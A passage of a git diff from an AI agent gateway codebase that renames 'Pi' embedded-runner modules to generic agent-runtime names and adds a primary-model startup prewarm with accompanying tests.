parseExecApprovalFollowupApprovalId, @@ -16,7 +17,6 @@ import { } from "../../agents/identity-avatar.js"; import { AGENT_INTERNAL_EVENT_TYPE_TASK_COMPLETION } from "../../agents/internal-event-contract.js"; import type { AgentInternalEvent } from "../../agents/internal-events.js"; -import { resolveTrustedGroupId } from "../../agents/pi-tools.policy.js"; import { resolveProviderIdForAuth } from "../../agents/provider-auth-aliases.js"; import { normalizeAgentRunTimeoutPhase, diff --git a/src/gateway/server-methods/chat-transcript-inject.ts b/src/gateway/server-methods/chat-transcript-inject.ts index 6fdc4912e2c..767c36139a1 100644 --- a/src/gateway/server-methods/chat-transcript-inject.ts +++ b/src/gateway/server-methods/chat-transcript-inject.ts @@ -1,4 +1,4 @@ -import type { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { SessionManager } from "../../agents/sessions/session-manager.js"; import { appendSessionTranscriptMessage } from "../../config/sessions/transcript-append.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { formatErrorMessage } from "../../infra/errors.js"; @@ -87,7 +87,7 @@ export async function appendInjectedAssistantMessageToTranscript(params: { { role: "assistant" } >["content"], timestamp: now, - // Pi stopReason is a strict enum; this is not model output, but we still store it as a + // stopReason is a strict runner enum; this is not model output, but we still store it as a // normal assistant message so it participates in the session parentId chain. stopReason: "stop", usage, diff --git a/src/gateway/server-methods/chat.abort-persistence.test.ts b/src/gateway/server-methods/chat.abort-persistence.test.ts index 896e0f472b1..0171bf87d44 100644 --- a/src/gateway/server-methods/chat.abort-persistence.test.ts +++ b/src/gateway/server-methods/chat.abort-persistence.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; import { createActiveRun, diff --git a/src/gateway/server-methods/chat.directive-tags.test.ts b/src/gateway/server-methods/chat.directive-tags.test.ts index f2ba92dde35..a37d03a88f4 100644 --- a/src/gateway/server-methods/chat.directive-tags.test.ts +++ b/src/gateway/server-methods/chat.directive-tags.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; import type { ModelCatalogEntry } from "../../agents/model-catalog.types.js"; import { setReplyPayloadMetadata } from "../../auto-reply/reply-payload.js"; @@ -1038,7 +1038,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => update.message !== null && (update.message as { role?: unknown }).role === "assistant", ); - // Agent-run delivery is a live projection; Pi message_end owns persisted + // Agent-run delivery is a live projection; message_end owns persisted // assistant transcript entries, including stale media/text final payloads. expect(assistantUpdates).toStrictEqual([]); const transcriptLines = readTranscriptJsonLines(mockState.transcriptPath); @@ -1086,7 +1086,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => (update.message as { role?: unknown }).role === "assistant", ); // Normal agent-run final text must not be mirrored into JSONL by WebChat; - // Pi persists the model-visible assistant turn from message_end. + // The agent runtime persists the model-visible assistant turn from message_end. expect(assistantUpdates).toStrictEqual([]); const transcriptLines = readTranscriptJsonLines(mockState.transcriptPath); const assistantEntries = transcriptLines.filter( diff --git a/src/gateway/server-methods/chat.inject.parentid.test.ts b/src/gateway/server-methods/chat.inject.parentid.test.ts index cc1db17ea37..298101e669f 100644 --- a/src/gateway/server-methods/chat.inject.parentid.test.ts +++ b/src/gateway/server-methods/chat.inject.parentid.test.ts @@ -17,7 +17,7 @@ function readTranscriptLines(transcriptPath: string): string[] { // Guardrail: Gateway-injected assistant transcript messages must attach to the // current leaf with a `parentId` and must not sever compaction history. describe("gateway chat.inject transcript writes", () => { - it("appends a Pi session entry that includes parentId", async () => { + it("appends a agent session entry that includes parentId", async () => { const { dir, transcriptPath } = createTranscriptFixtureSync({ prefix: "openclaw-chat-inject-", sessionId: "sess-1", diff --git a/src/gateway/server-methods/chat.test-helpers.ts b/src/gateway/server-methods/chat.test-helpers.ts index 69fc5399b76..eef7b289d13 100644 --- a/src/gateway/server-methods/chat.test-helpers.ts +++ b/src/gateway/server-methods/chat.test-helpers.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; export function createTranscriptFixtureSync(params: { prefix: string; diff --git a/src/gateway/server-methods/chat.ts b/src/gateway/server-methods/chat.ts index 7235abd8f36..737aa60d900 100644 --- a/src/gateway/server-methods/chat.ts +++ b/src/gateway/server-methods/chat.ts @@ -1,8 +1,6 @@ import { createHash } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; import { buildTtsSupplementMediaPayload, getReplyPayloadTtsSupplement, @@ -11,8 +9,9 @@ import { } from "openclaw/plugin-sdk/reply-payload"; import { resolveAgentWorkspaceDir, resolveSessionAgentId } from "../../agents/agent-scope.js"; import { runAgentHarnessBeforeMessageWriteHook } from "../../agents/harness/hook-helpers.js"; -import { rewriteTranscriptEntriesInSessionFile } from "../../agents/pi-embedded-runner/transcript-rewrite.js"; +import { rewriteTranscriptEntriesInSessionFile } from "../../agents/embedded-agent-runner/transcript-rewrite.js"; import { resolveProviderIdForAuth } from "../../agents/provider-auth-aliases.js"; +import type { AgentMessage } from "../../agents/runtime/index.js"; import { ensureSandboxWorkspaceForSession } from "../../agents/sandbox/context.js"; import { resolveAgentTimeoutMs } from "../../agents/timeout.js"; import { dispatchInboundMessage } from "../../auto-reply/dispatch.js"; @@ -24,6 +23,7 @@ import { extractCanvasFromText } from "../../chat/canvas-render.js"; import { resolveSessionFilePath } from "../../config/sessions.js"; import { resolveMirroredTranscriptText } from "../../config/sessions/transcript-mirror.js"; import { streamSessionTranscriptLines } from "../../config/sessions/transcript-stream.js"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { measureDiagnosticsTimelineSpan, @@ -3068,10 +3068,10 @@ export const chatHandlers: GatewayRequestHandlers = { } let broadcastedSourceReplyFinal = false; // WebChat persistence has two owners. Agent runs persist model-visible turns - // through Pi's SessionManager; this dispatcher only owns live delivery payloads. + // through OpenClaw runtime's SessionManager; this dispatcher only owns live delivery payloads. // Do not blindly mirror agent-run final payloads into JSONL or chat.history can - // duplicate normal Pi assistant turns. The non-agent branch below has no Pi - // assistant turn, so it appends a gateway-injected assistant entry before + // duplicate normal embedded-agent assistant turns. The non-agent branch below has no + // runtime-owned assistant turn, so it appends a gateway-injected assistant entry before // broadcasting the final UI event. if (!agentRunStarted) { const btwReplies = deliveredReplies @@ -3249,7 +3249,7 @@ export const chatHandlers: GatewayRequestHandlers = { ...(ttsSupplementMarker ? { openclawTtsSupplement: ttsSupplementMarker } : {}), - // Keep this compatible with Pi stopReason enums even though this message isn't + // Keep this compatible with runner stopReason enums even though this message isn't // persisted to the transcript due to the append failure. stopReason: "stop", usage: { input: 0, output: 0, totalTokens: 0 }, diff --git a/src/gateway/server-methods/models-auth-status.test.ts b/src/gateway/server-methods/models-auth-status.test.ts index ed2c7881a43..eb658576b51 100644 --- a/src/gateway/server-methods/models-auth-status.test.ts +++ b/src/gateway/server-methods/models-auth-status.test.ts @@ -505,11 +505,7 @@ describe("models.authStatus", () => { expect(call?.[0]?.providers).toBeUndefined(); }); - it("normalizes expectsOAuth provider ids to match buildAuthHealthSummary", async () => { - // Config uses alias `z.ai`; buildAuthHealthSummary normalizes to `zai`. - // Without normalization, expectsOAuth.has(prov.provider) fires on the - // raw `z.ai` key but prov.provider is `zai`, so the "configured oauth - // but no oauth profile" signal silently skipped the alias path. + it("does not map expectsOAuth provider ids across provider id variants", async () => { mocks.getRuntimeConfig.mockReturnValue({ models: { providers: { "z.ai": { auth: "oauth" } } }, }); @@ -538,7 +534,7 @@ describe("models.authStatus", () => { await handler(opts); const [, payload] = firstRespondCall(opts) ?? []; const result = payload as ModelAuthStatusResult; - expect(result.providers[0]?.status).toBe("missing"); + expect(result.providers[0]?.status).toBe("static"); }); it("flags provider configured auth:oauth but with only api_key profile as missing", async () => { diff --git a/src/gateway/server-methods/models-auth-status.ts b/src/gateway/server-methods/models-auth-status.ts index 96ea3da9aa4..2978d2a40e6 100644 --- a/src/gateway/server-methods/models-auth-status.ts +++ b/src/gateway/server-methods/models-auth-status.ts @@ -331,8 +331,8 @@ function resolveConfiguredProviders(cfg: OpenClawConfig): { out.add(id); if (mode === "oauth") { // Store normalized id so lookups against `AuthProviderHealth.provider` - // (which is already normalized by buildAuthHealthSummary) match even - // when the config uses an alias like `z.ai` that normalizes to `zai`. + // (which is already normalized by buildAuthHealthSummary) match despite + // case-only differences in config provider keys. expectsOAuth.add(normalizeProviderId(id)); } } diff --git a/src/gateway/server-methods/sessions.ts b/src/gateway/server-methods/sessions.ts index 5704a401e46..669294f8ab8 100644 --- a/src/gateway/server-methods/sessions.ts +++ b/src/gateway/server-methods/sessions.ts @@ -1,15 +1,14 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; import { resolveModelAgentRuntimeMetadata } from "../../agents/agent-runtime-metadata.js"; import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { - abortEmbeddedPiRun, - isEmbeddedPiRunActive, - waitForEmbeddedPiRunEnd, -} from "../../agents/pi-embedded-runner/runs.js"; -import { compactEmbeddedPiSession } from "../../agents/pi-embedded.js"; + abortEmbeddedAgentRun, + isEmbeddedAgentRunActive, + waitForEmbeddedAgentRunEnd, +} from "../../agents/embedded-agent-runner/runs.js"; +import { compactEmbeddedAgentSession } from "../../agents/embedded-agent.js"; import { clearSessionQueues } from "../../auto-reply/reply/queue/cleanup.js"; import { normalizeReasoningLevel, normalizeThinkLevel } from "../../auto-reply/thinking.js"; import { @@ -24,6 +23,7 @@ import { updateSessionStore, } from "../../config/sessions.js"; import { resolveAgentMainSessionKey } from "../../config/sessions/main-session.js"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { createInternalHookEvent, @@ -697,7 +697,7 @@ async function interruptSessionRunIfActive(params: { }); const hasEmbeddedRun = typeof params.sessionId === "string" && params.sessionId - ? isEmbeddedPiRunActive(params.sessionId) + ? isEmbeddedAgentRunActive(params.sessionId) : false; if (!hasTrackedRun && !hasEmbeddedRun) { @@ -737,13 +737,13 @@ async function interruptSessionRunIfActive(params: { } if (hasEmbeddedRun && params.sessionId) { - abortEmbeddedPiRun(params.sessionId); + abortEmbeddedAgentRun(params.sessionId); } clearSessionQueues([params.requestedKey, params.canonicalKey, params.sessionId]); if (hasEmbeddedRun && params.sessionId) { - const ended = await waitForEmbeddedPiRunEnd(params.sessionId, 15_000); + const ended = await waitForEmbeddedAgentRunEnd(params.sessionId, 15_000); if (!ended) { return { interrupted: true, @@ -2318,9 +2318,9 @@ export const sessionsHandlers: GatewayRequestHandlers = { phase: "start", sessionKey: target.canonicalKey, }); - let result: Awaited>; + let result: Awaited>; try { - result = await compactEmbeddedPiSession({ + result = await compactEmbeddedAgentSession({ sessionId, sessionKey: target.canonicalKey, allowGatewaySubagentBinding: true, diff --git a/src/gateway/server-reload-handlers.test.ts b/src/gateway/server-reload-handlers.test.ts index 2afcb4c708e..bf2944bc6dc 100644 --- a/src/gateway/server-reload-handlers.test.ts +++ b/src/gateway/server-reload-handlers.test.ts @@ -87,7 +87,7 @@ vi.mock("../tasks/task-registry.maintenance.js", async () => { }; }); -vi.mock("../agents/pi-embedded-runner/run-state.js", () => ({ +vi.mock("../agents/embedded-agent-runner/run-state.js", () => ({ getActiveEmbeddedRunCount: () => hoisted.activeEmbeddedRunCount.value, listActiveEmbeddedRunSessionIds: () => hoisted.activeEmbeddedRunSessionIds, listActiveEmbeddedRunSessionKeys: () => hoisted.activeEmbeddedRunSessionKeys, @@ -119,7 +119,7 @@ vi.mock("../agents/model-provider-auth.js", () => ({ }, })); -vi.mock("../agents/pi-bundle-mcp-tools.js", () => ({ +vi.mock("../agents/agent-bundle-mcp-tools.js", () => ({ disposeAllSessionMcpRuntimes: hoisted.disposeAllSessionMcpRuntimes, })); diff --git a/src/gateway/server-reload-handlers.ts b/src/gateway/server-reload-handlers.ts index 36562c1f483..9ea9122b649 100644 --- a/src/gateway/server-reload-handlers.ts +++ b/src/gateway/server-reload-handlers.ts @@ -1,14 +1,14 @@ +import { disposeAllSessionMcpRuntimes } from "../agents/agent-bundle-mcp-tools.js"; +import { + getActiveEmbeddedRunCount, + listActiveEmbeddedRunSessionIds, + listActiveEmbeddedRunSessionKeys, +} from "../agents/embedded-agent-runner/run-state.js"; import { resetModelCatalogCache } from "../agents/model-catalog.js"; import { clearCurrentProviderAuthState, warmCurrentProviderAuthState, } from "../agents/model-provider-auth.js"; -import { disposeAllSessionMcpRuntimes } from "../agents/pi-bundle-mcp-tools.js"; -import { - getActiveEmbeddedRunCount, - listActiveEmbeddedRunSessionIds, - listActiveEmbeddedRunSessionKeys, -} from "../agents/pi-embedded-runner/run-state.js"; import { getTotalPendingReplies } from "../auto-reply/reply/dispatcher-registry.js"; import type { CliDeps } from "../cli/deps.types.js"; import { isRestartEnabled } from "../config/commands.flags.js"; diff --git a/src/gateway/server-startup-post-attach.test.ts b/src/gateway/server-startup-post-attach.test.ts index a8dfe0dac5b..dac01ab5e69 100644 --- a/src/gateway/server-startup-post-attach.test.ts +++ b/src/gateway/server-startup-post-attach.test.ts @@ -46,6 +46,7 @@ const hoisted = vi.hoisted(() => { allowed: true, inCatalog: true, })); + const ensureOpenClawModelsJson = vi.fn(async () => {}); const clearCurrentProviderAuthState = vi.fn(); const warmCurrentProviderAuthState = vi.fn(async (_cfg?: unknown, _options?: unknown) => {}); const setAuthProfileFailureHook = vi.fn(); @@ -78,6 +79,7 @@ const hoisted = vi.hoisted(() => { resolveHooksGmailModel, loadModelCatalog, getModelRefStatus, + ensureOpenClawModelsJson, clearCurrentProviderAuthState, warmCurrentProviderAuthState, setAuthProfileFailureHook, @@ -171,6 +173,10 @@ vi.mock("../agents/model-selection.js", () => ({ resolveHooksGmailModel: hoisted.resolveHooksGmailModel, })); +vi.mock("../agents/models-config.js", () => ({ + ensureOpenClawModelsJson: hoisted.ensureOpenClawModelsJson, +})); + vi.mock("../agents/model-provider-auth.js", () => ({ clearCurrentProviderAuthState: hoisted.clearCurrentProviderAuthState, warmCurrentProviderAuthState: hoisted.warmCurrentProviderAuthState, @@ -284,6 +290,8 @@ describe("startGatewayPostAttachRuntime", () => { allowed: true, inCatalog: true, }); + hoisted.ensureOpenClawModelsJson.mockReset(); + hoisted.ensureOpenClawModelsJson.mockResolvedValue(undefined); hoisted.clearCurrentProviderAuthState.mockClear(); hoisted.warmCurrentProviderAuthState.mockReset(); hoisted.warmCurrentProviderAuthState.mockResolvedValue(undefined); diff --git a/src/gateway/server-startup-post-attach.ts b/src/gateway/server-startup-post-attach.ts index 0b28657d2c0..2bc9ec47d1c 100644 --- a/src/gateway/server-startup-post-attach.ts +++ b/src/gateway/server-startup-post-attach.ts @@ -27,9 +27,12 @@ import type { startGatewayTailscaleExposure } from "./server-tailscale.js"; const ACP_BACKEND_READY_TIMEOUT_MS = 5_000; const ACP_BACKEND_READY_POLL_MS = 50; +const PRIMARY_MODEL_PREWARM_TIMEOUT_MS = 5_000; +const STARTUP_PROVIDER_DISCOVERY_TIMEOUT_MS = 5_000; const PROVIDER_AUTH_PREWARM_START_DELAY_MS = 1_000; const PROVIDER_AUTH_REWARM_DELAY_MS = 1_000; const DEFERRED_SIDECAR_START_DELAY_MS = 100; +const SKIP_STARTUP_MODEL_PREWARM_ENV = "OPENCLAW_SKIP_STARTUP_MODEL_PREWARM"; const QMD_STARTUP_IDLE_DELAY_MS = 120_000; const RESTART_SENTINEL_FILENAME = "restart-sentinel.json"; @@ -99,6 +102,11 @@ function shouldCheckRestartSentinel(env: NodeJS.ProcessEnv = process.env): boole return !env.VITEST && env.NODE_ENV !== "test"; } +function shouldSkipStartupModelPrewarm(env: NodeJS.ProcessEnv = process.env): boolean { + const raw = env[SKIP_STARTUP_MODEL_PREWARM_ENV]?.trim().toLowerCase(); + return raw === "1" || raw === "true" || raw === "yes" || raw === "on"; +} + function resolveGatewayMemoryStartupPolicy(cfg: OpenClawConfig): GatewayMemoryStartupPolicy { if (cfg.memory?.backend !== "qmd") { return { mode: "off" }; @@ -411,6 +419,21 @@ function hasGatewayStartHooks(pluginRegistry: ReturnType hook.hookName === "gateway_start"); } +function isConfiguredCliBackendPrimary(params: { + cfg: OpenClawConfig; + explicitPrimary: string; + normalizeProviderId: (provider: string) => string; +}): boolean { + const slashIndex = params.explicitPrimary.indexOf("/"); + if (slashIndex <= 0) { + return false; + } + const provider = params.normalizeProviderId(params.explicitPrimary.slice(0, slashIndex)); + return Object.keys(params.cfg.agents?.defaults?.cliBackends ?? {}).some( + (backend) => params.normalizeProviderId(backend) === provider, + ); +} + async function hasGatewayStartupInternalHookListeners(): Promise { const { hasInternalHookListeners } = await import("../hooks/internal-hooks.js"); return hasInternalHookListeners("gateway", "startup"); @@ -443,6 +466,115 @@ async function waitForAcpRuntimeBackendReady(params: { return false; } +async function prewarmConfiguredPrimaryModel(params: { + cfg: OpenClawConfig; + workspaceDir?: string; + log: { warn: (msg: string) => void }; +}): Promise { + const { resolveAgentModelPrimaryValue } = await import("../config/model-input.js"); + const explicitPrimary = resolveAgentModelPrimaryValue(params.cfg.agents?.defaults?.model)?.trim(); + if (!explicitPrimary) { + return; + } + const { normalizeProviderId } = await import("../agents/provider-id.js"); + if ( + isConfiguredCliBackendPrimary({ + cfg: params.cfg, + explicitPrimary, + normalizeProviderId, + }) + ) { + return; + } + const [ + { resolveAgentWorkspaceDir, resolveDefaultAgentDir, resolveDefaultAgentId }, + { DEFAULT_MODEL, DEFAULT_PROVIDER }, + { isCliProvider, resolveConfiguredModelRef }, + ] = await Promise.all([ + import("../agents/agent-scope.js"), + import("../agents/defaults.js"), + import("../agents/model-selection.js"), + ]); + const { provider, model } = resolveConfiguredModelRef({ + cfg: params.cfg, + defaultProvider: DEFAULT_PROVIDER, + defaultModel: DEFAULT_MODEL, + }); + if (isCliProvider(provider, params.cfg)) { + return; + } + // Keep startup prewarm metadata-only; resolving models can import provider runtimes and block readiness. + const { ensureOpenClawModelsJson } = await import("../agents/models-config.js"); + const agentDir = resolveDefaultAgentDir(params.cfg); + const workspaceDir = + params.workspaceDir ?? resolveAgentWorkspaceDir(params.cfg, resolveDefaultAgentId(params.cfg)); + try { + await ensureOpenClawModelsJson(params.cfg, agentDir, { + workspaceDir, + providerDiscoveryProviderIds: [provider], + providerDiscoveryTimeoutMs: STARTUP_PROVIDER_DISCOVERY_TIMEOUT_MS, + providerDiscoveryEntriesOnly: true, + }); + } catch (err) { + params.log.warn(`startup model warmup failed for ${provider}/${model}: ${String(err)}`); + } +} + +async function prewarmConfiguredPrimaryModelWithTimeout( + params: { + cfg: OpenClawConfig; + workspaceDir?: string; + log: { warn: (msg: string) => void }; + timeoutMs?: number; + }, + prewarm: typeof prewarmConfiguredPrimaryModel = prewarmConfiguredPrimaryModel, +): Promise { + let settled = false; + const warmup = prewarm(params) + .catch((err) => { + params.log.warn(`startup model warmup failed: ${String(err)}`); + }) + .finally(() => { + settled = true; + }); + const timeout = sleep(params.timeoutMs ?? PRIMARY_MODEL_PREWARM_TIMEOUT_MS, undefined, { + ref: false, + }).then(() => { + if (!settled) { + params.log.warn( + `startup model warmup timed out after ${params.timeoutMs ?? PRIMARY_MODEL_PREWARM_TIMEOUT_MS}ms; continuing without waiting`, + ); + } + }); + await Promise.race([warmup, timeout]); +} + +function schedulePrimaryModelPrewarm( + params: { + cfg: OpenClawConfig; + workspaceDir?: string; + log: { warn: (msg: string) => void }; + startupTrace?: GatewayStartupTrace; + }, + prewarm: typeof prewarmConfiguredPrimaryModel = prewarmConfiguredPrimaryModel, +): void { + if (shouldSkipStartupModelPrewarm()) { + return; + } + void measureStartup(params.startupTrace, "sidecars.model-prewarm", () => + prewarmConfiguredPrimaryModelWithTimeout( + { + cfg: params.cfg, + ...(params.workspaceDir ? { workspaceDir: params.workspaceDir } : {}), + log: params.log, + }, + prewarm, + ), + ).catch((err) => { + params.log.warn(`startup model warmup failed: ${String(err)}`); + }); +} + export async function startGatewaySidecars(params: { cfg: OpenClawConfig; pluginRegistry: ReturnType; @@ -450,6 +582,7 @@ export async function startGatewaySidecars(params: { deps: CliDeps; startChannels: () => Promise; onChannelsStarted?: () => Awaitable; + prewarmPrimaryModel?: typeof prewarmConfiguredPrimaryModel; onPluginServices?: (pluginServices: PluginServicesHandle | null) => void; shouldStartPluginServices?: () => boolean; log: { warn: (msg: string) => void }; @@ -490,6 +623,15 @@ export async function startGatewaySidecars(params: { await measureStartup(params.startupTrace, "sidecars.channels", async () => { if (!skipChannels) { try { + schedulePrimaryModelPrewarm( + { + cfg: params.cfg, + workspaceDir: params.defaultWorkspaceDir, + log: params.log, + startupTrace: params.startupTrace, + }, + params.prewarmPrimaryModel, + ); await measureStartup(params.startupTrace, "sidecars.channel-start", () => params.startChannels(), ); @@ -1133,9 +1275,13 @@ export async function startGatewayPostAttachRuntime( export const testing = { hasRestartSentinelFileFast, + prewarmConfiguredPrimaryModel, + prewarmConfiguredPrimaryModelWithTimeout, refreshLatestUpdateRestartSentinelIfPresent, resolveGatewayMemoryStartupPolicy, scheduleProviderAuthStatePrewarm, + schedulePrimaryModelPrewarm, + shouldSkipStartupModelPrewarm, stopPostReadySidecarsAfterCloseStarted, }; export { testing as __testing }; diff --git a/src/gateway/server-startup.test.ts b/src/gateway/server-startup.test.ts new file mode 100644 index 00000000000..1bc57923df1 --- /dev/null +++ b/src/gateway/server-startup.test.ts @@ -0,0 +1,148 @@ +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; + +const ensureOpenClawModelsJsonMock = vi.fn< + ( + config: unknown, + agentDir: unknown, + options?: unknown, + ) => Promise<{ agentDir: string; wrote: boolean }> +>(async () => ({ agentDir: "/tmp/agent", wrote: false })); +const agentModelModuleLoadedMock = vi.fn(); + +vi.mock("../agents/agent-scope.js", () => ({ + resolveDefaultAgentDir: () => "/tmp/agent", + resolveAgentWorkspaceDir: () => "/tmp/workspace", + resolveDefaultAgentId: () => "default", +})); + +vi.mock("../agents/models-config.js", () => ({ + ensureOpenClawModelsJson: (config: unknown, agentDir: unknown, options?: unknown) => + ensureOpenClawModelsJsonMock(config, agentDir, options), +})); + +vi.mock("../agents/embedded-agent-runner/model.js", () => { + agentModelModuleLoadedMock(); + return { + resolveModel: () => ({}), + }; +}); + +let prewarmConfiguredPrimaryModel: typeof import("./server-startup-post-attach.js").testing.prewarmConfiguredPrimaryModel; +let shouldSkipStartupModelPrewarm: typeof import("./server-startup-post-attach.js").testing.shouldSkipStartupModelPrewarm; + +function expectModelsJsonPrewarmCall(cfg: OpenClawConfig) { + expect(ensureOpenClawModelsJsonMock).toHaveBeenCalledTimes(1); + const [calledConfig, agentDir, options] = ensureOpenClawModelsJsonMock.mock.calls.at(0) ?? []; + expect(calledConfig).toBe(cfg); + expect(agentDir).toBe("/tmp/agent"); + expect(options).toEqual({ + workspaceDir: "/tmp/workspace", + providerDiscoveryProviderIds: ["openai-codex"], + providerDiscoveryTimeoutMs: 5000, + providerDiscoveryEntriesOnly: true, + }); +} + +describe("gateway startup primary model warmup", () => { + beforeAll(async () => { + ({ + testing: { prewarmConfiguredPrimaryModel, shouldSkipStartupModelPrewarm }, + } = await import("./server-startup-post-attach.js")); + }); + + beforeEach(() => { + ensureOpenClawModelsJsonMock.mockClear(); + agentModelModuleLoadedMock.mockClear(); + }); + + it("prewarms an explicit configured primary model", async () => { + const cfg = { + agents: { + defaults: { + model: { + primary: "openai-codex/gpt-5.4", + }, + }, + }, + } as OpenClawConfig; + + await prewarmConfiguredPrimaryModel({ + cfg, + log: { warn: vi.fn() }, + }); + + expectModelsJsonPrewarmCall(cfg); + expect(agentModelModuleLoadedMock).not.toHaveBeenCalled(); + }); + + it("skips warmup when no explicit primary model is configured", async () => { + await prewarmConfiguredPrimaryModel({ + cfg: {} as OpenClawConfig, + log: { warn: vi.fn() }, + }); + + expect(ensureOpenClawModelsJsonMock).not.toHaveBeenCalled(); + expect(agentModelModuleLoadedMock).not.toHaveBeenCalled(); + }); + + it("honors the startup model prewarm skip env", () => { + expect(shouldSkipStartupModelPrewarm({})).toBe(false); + expect( + shouldSkipStartupModelPrewarm({ + OPENCLAW_SKIP_STARTUP_MODEL_PREWARM: "1", + }), + ).toBe(true); + expect( + shouldSkipStartupModelPrewarm({ + OPENCLAW_SKIP_STARTUP_MODEL_PREWARM: "true", + }), + ).toBe(true); + }); + + it("skips static warmup for configured CLI backends", async () => { + await prewarmConfiguredPrimaryModel({ + cfg: { + agents: { + defaults: { + model: { + primary: "codex-cli/gpt-5.5", + }, + cliBackends: { + "codex-cli": { + command: "codex", + args: ["exec"], + }, + }, + }, + }, + } as OpenClawConfig, + log: { warn: vi.fn() }, + }); + + expect(ensureOpenClawModelsJsonMock).not.toHaveBeenCalled(); + expect(agentModelModuleLoadedMock).not.toHaveBeenCalled(); + }); + + it("warns when scoped models.json preparation fails", async () => { + ensureOpenClawModelsJsonMock.mockRejectedValueOnce(new Error("models write failed")); + const warn = vi.fn(); + + await prewarmConfiguredPrimaryModel({ + cfg: { + agents: { + defaults: { + model: { + primary: "codex/gpt-5.4", + }, + }, + }, + } as OpenClawConfig, + log: { warn }, + }); + + expect(warn).toHaveBeenCalledWith( + "startup model warmup failed for codex/gpt-5.4: Error: models write failed", + ); + }); +}); diff --git a/src/gateway/server.agent.gateway-server-agent-a.test.ts b/src/gateway/server.agent.gateway-server-agent-a.test.ts index 6407055e3ad..f28a96e26ee 100644 --- a/src/gateway/server.agent.gateway-server-agent-a.test.ts +++ b/src/gateway/server.agent.gateway-server-agent-a.test.ts @@ -12,7 +12,7 @@ import { agentCommand, connectOk, installGatewayTestHooks, - piSdkMock, + agentDiscoveryMock, rpcReq, startServerWithClient, testState, @@ -44,6 +44,20 @@ afterAll(async () => { const BASE_IMAGE_PNG = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+X3mIAAAAASUVORK5CYII="; +const TEXT_ONLY_AGENT_MODEL = { + id: "deepseek-v4-flash", + name: "DeepSeek V4 Flash", + provider: "ollama-cloud", + input: ["text"], +}; + +const VISION_AGENT_MODEL = { + id: "gemma4:31b", + name: "Gemma 4 31B", + provider: "ollama-cloud", + input: ["text", "image"], +}; + function expectChannels(call: Record, channel: string) { expect(call.channel).toBe(channel); expect(call.messageChannel).toBe(channel); @@ -91,6 +105,14 @@ async function runMainAgentDeliveryWithSession(params: { } } +async function setGatewayModelCatalogForTest( + models: typeof agentDiscoveryMock.models, +): Promise { + agentDiscoveryMock.enabled = true; + agentDiscoveryMock.models = models; + await resetGatewayModelCatalogCacheForTest(); +} + const createStubChannelPlugin = (params: { id: ChannelPlugin["id"]; label: string; @@ -406,6 +428,8 @@ describe("gateway server agent", () => { }); test("agent forwards image attachments as images[]", async () => { + testState.agentConfig = { model: { primary: "ollama-cloud/gemma4:31b" } }; + await setGatewayModelCatalogForTest([TEXT_ONLY_AGENT_MODEL, VISION_AGENT_MODEL]); await setTestSessionStore({ entries: { main: { @@ -451,22 +475,7 @@ describe("gateway server agent", () => { { id: "vision", model: "ollama-cloud/gemma4:31b" }, ], }; - piSdkMock.enabled = true; - piSdkMock.models = [ - { - id: "deepseek-v4-flash", - name: "DeepSeek V4 Flash", - provider: "ollama-cloud", - input: ["text"], - }, - { - id: "gemma4:31b", - name: "Gemma 4 31B", - provider: "ollama-cloud", - input: ["text", "image"], - }, - ]; - await resetGatewayModelCatalogCacheForTest(); + await setGatewayModelCatalogForTest([TEXT_ONLY_AGENT_MODEL, VISION_AGENT_MODEL]); await setTestSessionStore({ agentId: "vision", diff --git a/src/gateway/server.config-patch.test.ts b/src/gateway/server.config-patch.test.ts index 03c8ab705b5..3abf38f3448 100644 --- a/src/gateway/server.config-patch.test.ts +++ b/src/gateway/server.config-patch.test.ts @@ -212,7 +212,7 @@ describe("gateway config methods", () => { models: { providers: { openai: { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, diff --git a/src/gateway/server.impl.ts b/src/gateway/server.impl.ts index 03fafb91c1f..1dc7907e9fd 100644 --- a/src/gateway/server.impl.ts +++ b/src/gateway/server.impl.ts @@ -1,5 +1,5 @@ import { monitorEventLoopDelay, performance } from "node:perf_hooks"; -import { getActiveEmbeddedRunCount } from "../agents/pi-embedded-runner/run-state.js"; +import { getActiveEmbeddedRunCount } from "../agents/embedded-agent-runner/run-state.js"; import { getTotalPendingReplies } from "../auto-reply/reply/dispatcher-registry.js"; import type { ChannelRuntimeSurface } from "../channels/plugins/channel-runtime-surface.types.js"; import { diff --git a/src/gateway/server.models-voicewake-misc.test.ts b/src/gateway/server.models-voicewake-misc.test.ts index faac61afbf3..fff0b447a75 100644 --- a/src/gateway/server.models-voicewake-misc.test.ts +++ b/src/gateway/server.models-voicewake-misc.test.ts @@ -16,7 